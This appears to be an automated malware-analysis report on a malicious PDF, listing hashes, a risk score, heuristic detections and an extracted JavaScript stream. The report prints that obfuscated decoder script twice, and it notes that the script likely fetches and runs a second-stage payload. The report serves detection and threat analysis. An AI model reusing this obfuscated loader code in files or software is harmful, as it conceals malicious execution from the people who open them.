PDF malware analysis — malicious · 282e2e1ecdce53cf

MALICIOUS

PDF

952 B First seen: 2026-05-10

MD5: 89934b23a5e26e43469f18dc3b52dfff SHA-1: 682556d70d526abdfea32d3d22f8d7671edbf36d SHA-256: 282e2e1ecdce53cf5c4664a31a7f79f6a49701f31ce0af10819fcb05738e0d66

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 Scripting: JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript actions and streams. The JavaScript stream, named 'javascript_obj100001_000.js', appears to be obfuscated, suggesting a malicious intent to hide its functionality. The primary function of this script is likely to download and execute a second-stage payload, a common technique for initial access.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

fscoa=new Array();while(bshtepg2.length){fscoa.push((erkrynk(bshtepg2.charCodeAt(0))<<(4+2))+erkrynk(bshtepg2.charCodeAt(1))-(500+12));bshtepg2=bshtepg2.slice(2,bshtepg2.length)}iudoj9=kvasg=bshtepg2=0;hvkoa6='';function erkrynk(aohpcm){if(aohpcm>92)aohpcm--;return aohpcm-42}function xzarfr(){if(bshtepg2==0){kvasg=erkrynk(xwbofmh.charCodeAt(iudoj9++));bshtepg2=6;}return ((kvasg>>--bshtepg2)&0x01);}while(bwgmb--){i=0;while(fscoa[i]<0){if(xzarfr())i=-fscoa[i];else i++;}hvkoa6+=String.fromCharCode( …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj100001_000.js`	pdf-javascript-stream	PDF /JS object 100001 at offset 0x197	511 bytes
SHA-256: `d930752a68866281b864c3236bdc601198a65cafe9bbdc10a90f53d79b2dd5f3`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script fscoa=new Array();while(bshtepg2.length){fscoa.push((erkrynk(bshtepg2.charCodeAt(0))<<(4+2))+erkrynk(bshtepg2.charCodeAt(1))-(500+12));bshtepg2=bshtepg2.slice(2,bshtepg2.length)}iudoj9=kvasg=bshtepg2=0;hvkoa6='';function erkrynk(aohpcm){if(aohpcm>92)aohpcm--;return aohpcm-42}function xzarfr(){if(bshtepg2==0){kvasg=erkrynk(xwbofmh.charCodeAt(iudoj9++));bshtepg2=6;}return ((kvasg>>--bshtepg2)&0x01);}while(bwgmb--){i=0;while(fscoa[i]<0){if(xzarfr())i=-fscoa[i];else i++;}hvkoa6+=String.fromCharCode(fscoa[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.